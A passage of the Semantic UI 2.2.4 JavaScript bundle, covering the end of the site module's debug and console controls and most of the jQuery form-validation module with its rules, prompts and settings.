              $existingModules = $(':data(module-' + namespace + ')');
              if($existingModules.length > 0) {
                module.verbose('Modifying existing settings', $existingModules);
                $existingModules[name]('setting', newSettings);
              }
            }
          }
        });
      }
    },

    enable: {
      console: function() {
        module.console(true);
      },
      debug: function(modules, modifyExisting) {
        modules = modules || settings.modules;
        module.debug('Enabling debug for modules', modules);
        module.change.setting('debug', true, modules, modifyExisting);
      },
      verbose: function(modules, modifyExisting) {
        modules = modules || settings.modules;
        module.debug('Enabling verbose debug for modules', modules);
        module.change.setting('verbose', true, modules, modifyExisting);
      }
    },
    disable: {
      console: function() {
        module.console(false);
      },
      debug: function(modules, modifyExisting) {
        modules = modules || settings.modules;
        module.debug('Disabling debug for modules', modules);
        module.change.setting('debug', false, modules, modifyExisting);
      },
      verbose: function(modules, modifyExisting) {
        modules = modules || settings.modules;
        module.debug('Disabling verbose debug for modules', modules);
        module.change.setting('verbose', false, modules, modifyExisting);
      }
    },

    console: function(enable) {
      if(enable) {
        if(instance.cache.console === undefined) {
          module.error(error.console);
          return;
        }
        module.debug('Restoring console function');
        window.console = instance.cache.console;
      }
      else {
        module.debug('Disabling console function');
        instance.cache.console = window.console;
        window.console = {
          clear          : function(){},
          error          : function(){},
          group          : function(){},
          groupCollapsed : function(){},
          groupEnd       : function(){},
          info           : function(){},
          log            : function(){},
          markTimeline   : function(){},
          warn           : function(){}
        };
      }
    },

    destroy: function() {
      module.verbose('Destroying previous site for', $module);
      $module
        .removeData(moduleNamespace)
      ;
    },

    cache: {},

    setting: function(name, value) {
      if( $.isPlainObject(name) ) {
        $.extend(true, settings, name);
      }
      else if(value !== undefined) {
        settings[name] = value;
      }
      else {
        return settings[name];
      }
    },
    internal: function(name, value) {
      if( $.isPlainObject(name) ) {
        $.extend(true, module, name);
      }
      else if(value !== undefined) {
        module[name] = value;
      }
      else {
        return module[name];
      }
    },
    debug: function() {
      if(settings.debug) {
        if(settings.performance) {
          module.performance.log(arguments);
        }
        else {
          module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
          module.debug.apply(console, arguments);
        }
      }
    },
    verbose: function() {
      if(settings.verbose && settings.debug) {
        if(settings.performance) {
          module.performance.log(arguments);
        }
        else {
          module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
          module.verbose.apply(console, arguments);
        }
      }
    },
    error: function() {
      module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
      module.error.apply(console, arguments);
    },
    performance: {
      log: function(message) {
        var
          currentTime,
          executionTime,
          previousTime
        ;
        if(settings.performance) {
          currentTime   = new Date().getTime();
          previousTime  = time || currentTime;
          executionTime = currentTime - previousTime;
          time          = currentTime;
          performance.push({
            'Element'        : element,
            'Name'           : message[0],
            'Arguments'      : [].slice.call(message, 1) || '',
            'Execution Time' : executionTime
          });
        }
        clearTimeout(module.performance.timer);
        module.performance.timer = setTimeout(module.performance.display, 500);
      },
      display: function() {
        var
          title = settings.name + ':',
          totalTime = 0
        ;
        time = false;
        clearTimeout(module.performance.timer);
        $.each(performance, function(index, data) {
          totalTime += data['Execution Time'];
        });
        title += ' ' + totalTime + 'ms';
        if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
          console.groupCollapsed(title);
          if(console.table) {
            console.table(performance);
          }
          else {
            $.each(performance, function(index, data) {
              console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
            });
          }
          console.groupEnd();
        }
        performance = [];
      }
    },
    invoke: function(query, passedArguments, context) {
      var
        object = instance,
        maxDepth,
        found,
        response
      ;
      passedArguments = passedArguments || queryArguments;
      context         = element         || context;
      if(typeof query == 'string' && object !== undefined) {
        query    = query.split(/[\. ]/);
        maxDepth = query.length - 1;
        $.each(query, function(depth, value) {
          var camelCaseValue = (depth != maxDepth)
            ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
            : query
          ;
          if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
            object = object[camelCaseValue];
          }
          else if( object[camelCaseValue] !== undefined ) {
            found = object[camelCaseValue];
            return false;
          }
          else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
            object = object[value];
          }
          else if( object[value] !== undefined ) {
            found = object[value];
            return false;
          }
          else {
            module.error(error.method, query);
            return false;
          }
        });
      }
      if ( $.isFunction( found ) ) {
        response = found.apply(context, passedArguments);
      }
      else if(found !== undefined) {
        response = found;
      }
      if($.isArray(returnedValue)) {
        returnedValue.push(response);
      }
      else if(returnedValue !== undefined) {
        returnedValue = [returnedValue, response];
      }
      else if(response !== undefined) {
        returnedValue = response;
      }
      return found;
    }
  };

  if(methodInvoked) {
    if(instance === undefined) {
      module.initialize();
    }
    module.invoke(query);
  }
  else {
    if(instance !== undefined) {
      module.destroy();
    }
    module.initialize();
  }
  return (returnedValue !== undefined)
    ? returnedValue
    : this
  ;
};

$.site.settings = {

  name        : 'Site',
  namespace   : 'site',

  error : {
    console : 'Console cannot be restored, most likely it was overwritten outside of module',
    method : 'The method you called is not defined.'
  },

  debug       : false,
  verbose     : false,
  performance : true,

  modules: [
    'accordion',
    'api',
    'checkbox',
    'dimmer',
    'dropdown',
    'embed',
    'form',
    'modal',
    'nag',
    'popup',
    'rating',
    'shape',
    'sidebar',
    'state',
    'sticky',
    'tab',
    'transition',
    'visit',
    'visibility'
  ],

  siteNamespace   : 'site',
  namespaceStub   : {
    cache     : {},
    config    : {},
    sections  : {},
    section   : {},
    utilities : {}
  }

};

// allows for selection of elements with data attributes
$.extend($.expr[ ":" ], {
  data: ($.expr.createPseudo)
    ? $.expr.createPseudo(function(dataName) {
        return function(elem) {
          return !!$.data(elem, dataName);
        };
      })
    : function(elem, i, match) {
      // support: jQuery < 1.8
      return !!$.data(elem, match[ 3 ]);
    }
});


})( jQuery, window, document );

/*!
 * # Semantic UI 2.2.4 - Form Validation
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

"use strict";

window = (typeof window != 'undefined' && window.Math == Math)
  ? window
  : (typeof self != 'undefined' && self.Math == Math)
    ? self
    : Function('return this')()
;

$.fn.form = function(parameters) {
  var
    $allModules      = $(this),
    moduleSelector   = $allModules.selector || '',

    time             = new Date().getTime(),
    performance      = [],

    query            = arguments[0],
    legacyParameters = arguments[1],
    methodInvoked    = (typeof query == 'string'),
    queryArguments   = [].slice.call(arguments, 1),
    returnedValue
  ;
  $allModules
    .each(function() {
      var
        $module     = $(this),
        element     = this,

        formErrors  = [],
        keyHeldDown = false,

        // set at run-time
        $field,
        $group,
        $message,
        $prompt,
        $submit,
        $clear,
        $reset,

        settings,
        validation,

        metadata,
        selector,
        className,
        error,

        namespace,
        moduleNamespace,
        eventNamespace,

        instance,
        module
      ;

      module      = {

        initialize: function() {

          // settings grabbed at run time
          module.get.settings();
          if(methodInvoked) {
            if(instance === undefined) {
              module.instantiate();
            }
            module.invoke(query);
          }
          else {
            if(instance !== undefined) {
              instance.invoke('destroy');
            }
            module.verbose('Initializing form validation', $module, settings);
            module.bindEvents();
            module.set.defaults();
            module.instantiate();
          }
        },

        instantiate: function() {
          module.verbose('Storing instance of module', module);
          instance = module;
          $module
            .data(moduleNamespace, module)
          ;
        },

        destroy: function() {
          module.verbose('Destroying previous module', instance);
          module.removeEvents();
          $module
            .removeData(moduleNamespace)
          ;
        },

        refresh: function() {
          module.verbose('Refreshing selector cache');
          $field      = $module.find(selector.field);
          $group      = $module.find(selector.group);
          $message    = $module.find(selector.message);
          $prompt     = $module.find(selector.prompt);

          $submit     = $module.find(selector.submit);
          $clear      = $module.find(selector.clear);
          $reset      = $module.find(selector.reset);
        },

        submit: function() {
          module.verbose('Submitting form', $module);
          $module
            .submit()
          ;
        },

        attachEvents: function(selector, action) {
          action = action || 'submit';
          $(selector)
            .on('click' + eventNamespace, function(event) {
              module[action]();
              event.preventDefault();
            })
          ;
        },

        bindEvents: function() {
          module.verbose('Attaching form events');
          $module
            .on('submit' + eventNamespace, module.validate.form)
            .on('blur'   + eventNamespace, selector.field, module.event.field.blur)
            .on('click'  + eventNamespace, selector.submit, module.submit)
            .on('click'  + eventNamespace, selector.reset, module.reset)
            .on('click'  + eventNamespace, selector.clear, module.clear)
          ;
          if(settings.keyboardShortcuts) {
            $module
              .on('keydown' + eventNamespace, selector.field, module.event.field.keydown)
            ;
          }
          $field
            .each(function() {
              var
                $input     = $(this),
                type       = $input.prop('type'),
                inputEvent = module.get.changeEvent(type, $input)
              ;
              $(this)
                .on(inputEvent + eventNamespace, module.event.field.change)
              ;
            })
          ;
        },

        clear: function() {
          $field
            .each(function () {
              var
                $field       = $(this),
                $element     = $field.parent(),
                $fieldGroup  = $field.closest($group),
                $prompt      = $fieldGroup.find(selector.prompt),
                defaultValue = $field.data(metadata.defaultValue) || '',
                isCheckbox   = $element.is(selector.uiCheckbox),
                isDropdown   = $element.is(selector.uiDropdown),
                isErrored    = $fieldGroup.hasClass(className.error)
              ;
              if(isErrored) {
                module.verbose('Resetting error on field', $fieldGroup);
                $fieldGroup.removeClass(className.error);
                $prompt.remove();
              }
              if(isDropdown) {
                module.verbose('Resetting dropdown value', $element, defaultValue);
                $element.dropdown('clear');
              }
              else if(isCheckbox) {
                $field.prop('checked', false);
              }
              else {
                module.verbose('Resetting field value', $field, defaultValue);
                $field.val('');
              }
            })
          ;
        },

        reset: function() {
          $field
            .each(function () {
              var
                $field       = $(this),
                $element     = $field.parent(),
                $fieldGroup  = $field.closest($group),
                $prompt      = $fieldGroup.find(selector.prompt),
                defaultValue = $field.data(metadata.defaultValue),
                isCheckbox   = $element.is(selector.uiCheckbox),
                isDropdown   = $element.is(selector.uiDropdown),
                isErrored    = $fieldGroup.hasClass(className.error)
              ;
              if(defaultValue === undefined) {
                return;
              }
              if(isErrored) {
                module.verbose('Resetting error on field', $fieldGroup);
                $fieldGroup.removeClass(className.error);
                $prompt.remove();
              }
              if(isDropdown) {
                module.verbose('Resetting dropdown value', $element, defaultValue);
                $element.dropdown('restore defaults');
              }
              else if(isCheckbox) {
                module.verbose('Resetting checkbox value', $element, defaultValue);
                $field.prop('checked', defaultValue);
              }
              else {
                module.verbose('Resetting field value', $field, defaultValue);
                $field.val(defaultValue);
              }
            })
          ;
        },

        is: {
          bracketedRule: function(rule) {
            return (rule.type && rule.type.match(settings.regExp.bracket));
          },
          empty: function($field) {
            if(!$field || $field.length === 0) {
              return true;
            }
            else if($field.is('input[type="checkbox"]')) {
              return !$field.is(':checked');
            }
            else {
              return module.is.blank($field);
            }
          },
          blank: function($field) {
            return $.trim($field.val()) === '';
          },
          valid: function() {
            var
              allValid = true
            ;
            module.verbose('Checking if form is valid');
            $.each(validation, function(fieldName, field) {
              if( !( module.validate.field(field, fieldName) ) ) {
                allValid = false;
              }
            });
            return allValid;
          }
        },

        removeEvents: function() {
          $module
            .off(eventNamespace)
          ;
          $field
            .off(eventNamespace)
          ;
          $submit
            .off(eventNamespace)
          ;
          $field
            .off(eventNamespace)
          ;
        },

        event: {
          field: {
            keydown: function(event) {
              var
                $field       = $(this),
                key          = event.which,
                isInput      = $field.is(selector.input),
                isCheckbox   = $field.is(selector.checkbox),
                isInDropdown = ($field.closest(selector.uiDropdown).length > 0),
                keyCode      = {
                  enter  : 13,
                  escape : 27
                }
              ;
              if( key == keyCode.escape) {
                module.verbose('Escape key pressed blurring field');
                $field
                  .blur()
                ;
              }
              if(!event.ctrlKey && key == keyCode.enter && isInput && !isInDropdown && !isCheckbox) {
                if(!keyHeldDown) {
                  $field
                    .one('keyup' + eventNamespace, module.event.field.keyup)
                  ;
                  module.submit();
                  module.debug('Enter pressed on input submitting form');
                }
                keyHeldDown = true;
              }
            },
            keyup: function() {
              keyHeldDown = false;
            },
            blur: function(event) {
              var
                $field          = $(this),
                $fieldGroup     = $field.closest($group),
                validationRules = module.get.validation($field)
              ;
              if( $fieldGroup.hasClass(className.error) ) {
                module.debug('Revalidating field', $field, validationRules);
                if(validationRules) {
                  module.validate.field( validationRules );
                }
              }
              else if(settings.on == 'blur' || settings.on == 'change') {
                if(validationRules) {
                  module.validate.field( validationRules );
                }
              }
            },
            change: function(event) {
              var
                $field      = $(this),
                $fieldGroup = $field.closest($group),
                validationRules = module.get.validation($field)
              ;
              if(settings.on == 'change' || ( $fieldGroup.hasClass(className.error) && settings.revalidate) ) {
                clearTimeout(module.timer);
                module.timer = setTimeout(function() {
                  module.debug('Revalidating field', $field,  module.get.validation($field));
                  module.validate.field( validationRules );
                }, settings.delay);
              }
            }
          }

        },

        get: {
          ancillaryValue: function(rule) {
            if(!rule.type || (!rule.value && !module.is.bracketedRule(rule))) {
              return false;
            }
            return (rule.value !== undefined)
              ? rule.value
              : rule.type.match(settings.regExp.bracket)[1] + ''
            ;
          },
          ruleName: function(rule) {
            if( module.is.bracketedRule(rule) ) {
              return rule.type.replace(rule.type.match(settings.regExp.bracket)[0], '');
            }
            return rule.type;
          },
          changeEvent: function(type, $input) {
            if(type == 'checkbox' || type == 'radio' || type == 'hidden' || $input.is('select')) {
              return 'change';
            }
            else {
              return module.get.inputEvent();
            }
          },
          inputEvent: function() {
            return (document.createElement('input').oninput !== undefined)
              ? 'input'
              : (document.createElement('input').onpropertychange !== undefined)
                ? 'propertychange'
                : 'keyup'
            ;
          },
          prompt: function(rule, field) {
            var
              ruleName      = module.get.ruleName(rule),
              ancillary     = module.get.ancillaryValue(rule),
              prompt        = rule.prompt || settings.prompt[ruleName] || settings.text.unspecifiedRule,
              requiresValue = (prompt.search('{value}') !== -1),
              requiresName  = (prompt.search('{name}') !== -1),
              $label,
              $field,
              name
            ;
            if(requiresName || requiresValue) {
              $field = module.get.field(field.identifier);
            }
            if(requiresValue) {
              prompt = prompt.replace('{value}', $field.val());
            }
            if(requiresName) {
              $label = $field.closest(selector.group).find('label').eq(0);
              name = ($label.length == 1)
                ? $label.text()
                : $field.prop('placeholder') || settings.text.unspecifiedField
              ;
              prompt = prompt.replace('{name}', name);
            }
            prompt = prompt.replace('{identifier}', field.identifier);
            prompt = prompt.replace('{ruleValue}', ancillary);
            if(!rule.prompt) {
              module.verbose('Using default validation prompt for type', prompt, ruleName);
            }
            return prompt;
          },
          settings: function() {
            if($.isPlainObject(parameters)) {
              var
                keys     = Object.keys(parameters),
                isLegacySettings = (keys.length > 0)
                  ? (parameters[keys[0]].identifier !== undefined && parameters[keys[0]].rules !== undefined)
                  : false,
                ruleKeys
              ;
              if(isLegacySettings) {
                // 1.x (ducktyped)
                settings   = $.extend(true, {}, $.fn.form.settings, legacyParameters);
                validation = $.extend({}, $.fn.form.settings.defaults, parameters);
                module.error(settings.error.oldSyntax, element);
                module.verbose('Extending settings from legacy parameters', validation, settings);
              }
              else {
                // 2.x
                if(parameters.fields) {
                  ruleKeys = Object.keys(parameters.fields);
                  if( typeof parameters.fields[ruleKeys[0]] == 'string' || $.isArray(parameters.fields[ruleKeys[0]]) ) {
                    $.each(parameters.fields, function(name, rules) {
                      if(typeof rules == 'string') {
                        rules = [rules];
                      }
                      parameters.fields[name] = {
                        rules: []
                      };
                      $.each(rules, function(index, rule) {
                        parameters.fields[name].rules.push({ type: rule });
                      });
                    });
                  }
                }

                settings   = $.extend(true, {}, $.fn.form.settings, parameters);
                validation = $.extend({}, $.fn.form.settings.defaults, settings.fields);
                module.verbose('Extending settings', validation, settings);
              }
            }
            else {
              settings   = $.fn.form.settings;
              validation = $.fn.form.settings.defaults;
              module.verbose('Using default form validation', validation, settings);
            }

            // shorthand
            namespace       = settings.namespace;
            metadata        = settings.metadata;
            selector        = settings.selector;
            className       = settings.className;
            error           = settings.error;
            moduleNamespace = 'module-' + namespace;
            eventNamespace  = '.' + namespace;

            // grab instance
            instance = $module.data(moduleNamespace);

            // refresh selector cache
            module.refresh();
          },
          field: function(identifier) {
            module.verbose('Finding field with identifier', identifier);
            if( $field.filter('#' + identifier).length > 0 ) {
              return $field.filter('#' + identifier);
            }
            else if( $field.filter('[name="' + identifier +'"]').length > 0 ) {
              return $field.filter('[name="' + identifier +'"]');
            }
            else if( $field.filter('[name="' + identifier +'[]"]').length > 0 ) {
              return $field.filter('[name="' + identifier +'[]"]');
            }
            else if( $field.filter('[data-' + metadata.validate + '="'+ identifier +'"]').length > 0 ) {
              return $field.filter('[data-' + metadata.validate + '="'+ identifier +'"]');
            }
            return $('<input/>');
          },
          fields: function(fields) {
            var
              $fields = $()
            ;
            $.each(fields, function(index, name) {
              $fields = $fields.add( module.get.field(name) );
            });
            return $fields;
          },
          validation: function($field) {
            var
              fieldValidation,
              identifier
            ;
            if(!validation) {
              return false;
            }
            $.each(validation, function(fieldName, field) {
              identifier = field.identifier || fieldName;
              if( module.get.field(identifier)[0] == $field[0] ) {
                field.identifier = identifier;
                fieldValidation = field;
              }
            });
            return fieldValidation || false;
          },
          value: function (field) {
            var
              fields = [],
              results
            ;
            fields.push(field);
            results = module.get.values.call(element, fields);
            return results[field];
          },
          values: function (fields) {
            var
              $fields = $.isArray(fields)
                ? module.get.fields(fields)
                : $field,
              values = {}
            ;
            $fields.each(function(index, field) {
              var
                $field     = $(field),
                type       = $field.prop('type'),
                name       = $field.prop('name'),
                value      = $field.val(),
                isCheckbox = $field.is(selector.checkbox),
                isRadio    = $field.is(selector.radio),
                isMultiple = (name.indexOf('[]') !== -1),
                isChecked  = (isCheckbox)
                  ? $field.is(':checked')
                  : false
              ;
              if(name) {
                if(isMultiple) {
                  name = name.replace('[]', '');
                  if(!values[name]) {
                    values[name] = [];
                  }
                  if(isCheckbox) {
                    if(isChecked) {
                      values[name].push(value || true);
                    }
                    else {
                      values[name].push(false);
                    }
                  }
                  else {
                    values[name].push(value);
                  }
                }
                else {
                  if(isRadio) {
                    if(isChecked) {
                      values[name] = value;
                    }
                  }
                  else if(isCheckbox) {
                    if(isChecked) {
                      values[name] = value || true;
                    }
                    else {
                      values[name] = false;
                    }
                  }
                  else {
                    values[name] = value;
                  }
                }
              }
            });
            return values;
          }
        },

        has: {

          field: function(identifier) {
            module.verbose('Checking for existence of a field with identifier', identifier);
            if(typeof identifier !== 'string') {
              module.error(error.identifier, identifier);
            }
            if( $field.filter('#' + identifier).length > 0 ) {
              return true;
            }
            else if( $field.filter('[name="' + identifier +'"]').length > 0 ) {
              return true;
            }
            else if( $field.filter('[data-' + metadata.validate + '="'+ identifier +'"]').length > 0 ) {
              return true;
            }
            return false;
          }

        },

        add: {
          prompt: function(identifier, errors) {
            var
              $field       = module.get.field(identifier),
              $fieldGroup  = $field.closest($group),
              $prompt      = $fieldGroup.children(selector.prompt),
              promptExists = ($prompt.length !== 0)
            ;
            errors = (typeof errors == 'string')
              ? [errors]
              : errors
            ;
            module.verbose('Adding field error state', identifier);
            $fieldGroup
              .addClass(className.error)
            ;
            if(settings.inline) {
              if(!promptExists) {
                $prompt = settings.templates.prompt(errors);
                $prompt
                  .appendTo($fieldGroup)
                ;
              }
              $prompt
                .html(errors[0])
              ;
              if(!promptExists) {
                if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) {
                  module.verbose('Displaying error with css transition', settings.transition);
                  $prompt.transition(settings.transition + ' in', settings.duration);
                }
                else {
                  module.verbose('Displaying error with fallback javascript animation');
                  $prompt
                    .fadeIn(settings.duration)
                  ;
                }
              }
              else {
                module.verbose('Inline errors are disabled, no inline error added', identifier);
              }
            }
          },
          errors: function(errors) {
            module.debug('Adding form error messages', errors);
            module.set.error();
            $message
              .html( settings.templates.error(errors) )
            ;
          }
        },

        remove: {
          prompt: function(identifier) {
            var
              $field      = module.get.field(identifier),
              $fieldGroup = $field.closest($group),
              $prompt     = $fieldGroup.children(selector.prompt)
            ;
            $fieldGroup
              .removeClass(className.error)
            ;
            if(settings.inline && $prompt.is(':visible')) {
              module.verbose('Removing prompt for field', identifier);
              if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) {
                $prompt.transition(settings.transition + ' out', settings.duration, function() {
                  $prompt.remove();
                });
              }
              else {
                $prompt
                  .fadeOut(settings.duration, function(){
                    $prompt.remove();
                  })
                ;
              }
            }
          }
        },

        set: {
          success: function() {
            $module
              .removeClass(className.error)
              .addClass(className.success)
            ;
          },
          defaults: function () {
            $field
              .each(function () {
                var
                  $field     = $(this),
                  isCheckbox = ($field.filter(selector.checkbox).length > 0),
                  value      = (isCheckbox)
                    ? $field.is(':checked')
                    : $field.val()
                ;
                $field.data(metadata.defaultValue, value);
              })
            ;
          },
          error: function() {
            $module
              .removeClass(className.success)
              .addClass(className.error)
            ;
          },
          value: function (field, value) {
            var
              fields = {}
            ;
            fields[field] = value;
            return module.set.values.call(element, fields);
          },
          values: function (fields) {
            if($.isEmptyObject(fields)) {
              return;
            }
            $.each(fields, function(key, value) {
              var
                $field      = module.get.field(key),
                $element    = $field.parent(),
                isMultiple  = $.isArray(value),
                isCheckbox  = $element.is(selector.uiCheckbox),
                isDropdown  = $element.is(selector.uiDropdown),
                isRadio     = ($field.is(selector.radio) && isCheckbox),
                fieldExists = ($field.length > 0),
                $multipleField
              ;
              if(fieldExists) {
                if(isMultiple && isCheckbox) {
                  module.verbose('Selecting multiple', value, $field);
                  $element.checkbox('uncheck');
                  $.each(value, function(index, value) {
                    $multipleField = $field.filter('[value="' + value + '"]');
                    $element       = $multipleField.parent();
                    if($multipleField.length > 0) {
                      $element.checkbox('check');
                    }
                  });
                }
                else if(isRadio) {
                  module.verbose('Selecting radio value', value, $field);
                  $field.filter('[value="' + value + '"]')
                    .parent(selector.uiCheckbox)
                      .checkbox('check')
                  ;
                }
                else if(isCheckbox) {
                  module.verbose('Setting checkbox value', value, $element);
                  if(value === true) {
                    $element.checkbox('check');
                  }
                  else {
                    $element.checkbox('uncheck');
                  }
                }
                else if(isDropdown) {
                  module.verbose('Setting dropdown value', value, $element);
                  $element.dropdown('set selected', value);
                }
                else {
                  module.verbose('Setting field value', value, $field);
                  $field.val(value);
                }
              }
            });
          }
        },

        validate: {

          form: function(event, ignoreCallbacks) {
            var
              values = module.get.values(),
              apiRequest
            ;

            // input keydown event will fire submit repeatedly by browser default
            if(keyHeldDown) {
              return false;
            }

            // reset errors
            formErrors = [];
            if( module.is.valid() ) {
              module.debug('Form has no validation errors, submitting');
              module.set.success();
              if(ignoreCallbacks !== true) {
                return settings.onSuccess.call(element, event, values);
              }
            }
            else {
              module.debug('Form has errors');
              module.set.error();
              if(!settings.inline) {
                module.add.errors(formErrors);
              }
              // prevent ajax submit
              if($module.data('moduleApi') !== undefined) {
                event.stopImmediatePropagation();
              }
              if(ignoreCallbacks !== true) {
                return settings.onFailure.call(element, formErrors, values);
              }
            }
          },

          // takes a validation object and returns whether field passes validation
          field: function(field, fieldName) {
            var
              identifier    = field.identifier || fieldName,
              $field        = module.get.field(identifier),
              $dependsField = (field.depends)
                ? module.get.field(field.depends)
                : false,
              fieldValid  = true,
              fieldErrors = []
            ;
            if(!field.identifier) {
              module.debug('Using field name as identifier', identifier);
              field.identifier = identifier;
            }
            if($field.prop('disabled')) {
              module.debug('Field is disabled. Skipping', identifier);
              fieldValid = true;
            }
            else if(field.optional && module.is.blank($field)){
              module.debug('Field is optional and blank. Skipping', identifier);
              fieldValid = true;
            }
            else if(field.depends && module.is.empty($dependsField)) {
              module.debug('Field depends on another value that is not present or empty. Skipping', $dependsField);
              fieldValid = true;
            }
            else if(field.rules !== undefined) {
              $.each(field.rules, function(index, rule) {
                if( module.has.field(identifier) && !( module.validate.rule(field, rule) ) ) {
                  module.debug('Field is invalid', identifier, rule.type);
                  fieldErrors.push(module.get.prompt(rule, field));
                  fieldValid = false;
                }
              });
            }
            if(fieldValid) {
              module.remove.prompt(identifier, fieldErrors);
              settings.onValid.call($field);
            }
            else {
              formErrors = formErrors.concat(fieldErrors);
              module.add.prompt(identifier, fieldErrors);
              settings.onInvalid.call($field, fieldErrors);
              return false;
            }
            return true;
          },

          // takes validation rule and returns whether field passes rule
          rule: function(field, rule) {
            var
              $field       = module.get.field(field.identifier),
              type         = rule.type,
              value        = $field.val(),
              isValid      = true,
              ancillary    = module.get.ancillaryValue(rule),
              ruleName     = module.get.ruleName(rule),
              ruleFunction = settings.rules[ruleName]
            ;
            if( !$.isFunction(ruleFunction) ) {
              module.error(error.noRule, ruleName);
              return;
            }
            // cast to string avoiding encoding special values
            value = (value === undefined || value === '' || value === null)
              ? ''
              : $.trim(value + '')
            ;
            return ruleFunction.call($field, value, ancillary);
          }
        },

        setting: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, settings, name);
          }
          else if(value !== undefined) {
            settings[name] = value;
          }
          else {
            return settings[name];
          }
        },
        internal: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, module, name);
          }
          else if(value !== undefined) {
            module[name] = value;
          }
          else {
            return module[name];
          }
        },
        debug: function() {
          if(!settings.silent && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.debug.apply(console, arguments);
            }
          }
        },
        verbose: function() {
          if(!settings.silent && settings.verbose && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.verbose.apply(console, arguments);
            }
          }
        },
        error: function() {
          if(!settings.silent) {
            module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
            module.error.apply(console, arguments);
          }
        },
        performance: {
          log: function(message) {
            var
              currentTime,
              executionTime,
              previousTime
            ;
            if(settings.performance) {
              currentTime   = new Date().getTime();
              previousTime  = time || currentTime;
              executionTime = currentTime - previousTime;
              time          = currentTime;
              performance.push({
                'Name'           : message[0],
                'Arguments'      : [].slice.call(message, 1) || '',
                'Element'        : element,
                'Execution Time' : executionTime
              });
            }
            clearTimeout(module.performance.timer);
            module.performance.timer = setTimeout(module.performance.display, 500);
          },
          display: function() {
            var
              title = settings.name + ':',
              totalTime = 0
            ;
            time = false;
            clearTimeout(module.performance.timer);
            $.each(performance, function(index, data) {
              totalTime += data['Execution Time'];
            });
            title += ' ' + totalTime + 'ms';
            if(moduleSelector) {
              title += ' \'' + moduleSelector + '\'';
            }
            if($allModules.length > 1) {
              title += ' ' + '(' + $allModules.length + ')';
            }
            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
              console.groupCollapsed(title);
              if(console.table) {
                console.table(performance);
              }
              else {
                $.each(performance, function(index, data) {
                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
                });
              }
              console.groupEnd();
            }
            performance = [];
          }
        },
        invoke: function(query, passedArguments, context) {
          var
            object = instance,
            maxDepth,
            found,
            response
          ;
          passedArguments = passedArguments || queryArguments;
          context         = element         || context;
          if(typeof query == 'string' && object !== undefined) {
            query    = query.split(/[\. ]/);
            maxDepth = query.length - 1;
            $.each(query, function(depth, value) {
              var camelCaseValue = (depth != maxDepth)
                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
                : query
              ;
              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
                object = object[camelCaseValue];
              }
              else if( object[camelCaseValue] !== undefined ) {
                found = object[camelCaseValue];
                return false;
              }
              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
                object = object[value];
              }
              else if( object[value] !== undefined ) {
                found = object[value];
                return false;
              }
              else {
                return false;
              }
            });
          }
          if( $.isFunction( found ) ) {
            response = found.apply(context, passedArguments);
          }
          else if(found !== undefined) {
            response = found;
          }
          if($.isArray(returnedValue)) {
            returnedValue.push(response);
          }
          else if(returnedValue !== undefined) {
            returnedValue = [returnedValue, response];
          }
          else if(response !== undefined) {
            returnedValue = response;
          }
          return found;
        }
      };
      module.initialize();
    })
  ;

  return (returnedValue !== undefined)
    ? returnedValue
    : this
  ;
};

$.fn.form.settings = {

  name              : 'Form',
  namespace         : 'form',

  debug             : false,
  verbose           : false,
  performance       : true,

  fields            : false,

  keyboardShortcuts : true,
  on                : 'submit',
  inline            : false,

  delay             : 200,
  revalidate        : true,

  transition        : 'scale',
  duration          : 200,

  onValid           : function() {},
  onInvalid         : function() {},
  onSuccess         : function() { return true; },
  onFailure         : function() { return false; },

  metadata : {
    defaultValue : 'default',
    validate     : 'validate'
  },

  regExp: {
    bracket : /\[(.*)\]/i,
    decimal : /^\d*(\.)\d+/,
    email   : /^[a-z0-9!#$%&'*+\/=?^_`{|}~.-]+@[a-z0-9]([a-z0-9-]*[a-z0-9])?(\.[a-z0-9]([a-z0-9-]*[a-z0-9])?)*$/i,
    escape  : /[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,
    flags   : /^\/(.*)\/(.*)?/,
    integer : /^\-?\d+$/,
    number  : /^\-?\d*(\.\d+)?$/,
    url     : /(https?:\/\/(?:www\.|(?!www))[^\s\.]+\.[^\s]{2,}|www\.[^\s]+\.[^\s]{2,})/i
  },

  text: {
    unspecifiedRule  : 'Please enter a valid value',
    unspecifiedField : 'This field'
  },

  prompt: {
    empty                : '{name} must have a value',
    checked              : '{name} must be checked',
    email                : '{name} must be a valid e-mail',
    url                  : '{name} must be a valid url',
    regExp               : '{name} is not formatted correctly',
    integer              : '{name} must be an integer',
    decimal              : '{name} must be a decimal number',
    number               : '{name} must be set to a number',
    is                   : '{name} must be "{ruleValue}"',
    isExactly            : '{name} must be exactly "{ruleValue}"',
    not                  : '{name} cannot be set to "{ruleValue}"',
    notExactly           : '{name} cannot be set to exactly "{ruleValue}"',
    contain              : '{name} cannot contain "{ruleValue}"',
    containExactly       : '{name} cannot contain exactly "{ruleValue}"',
    doesntContain        : '{name} must contain  "{ruleValue}"',
    doesntContainExactly : '{name} must contain exactly "{ruleValue}"',
    minLength            : '{name} must be at least {ruleValue} characters',
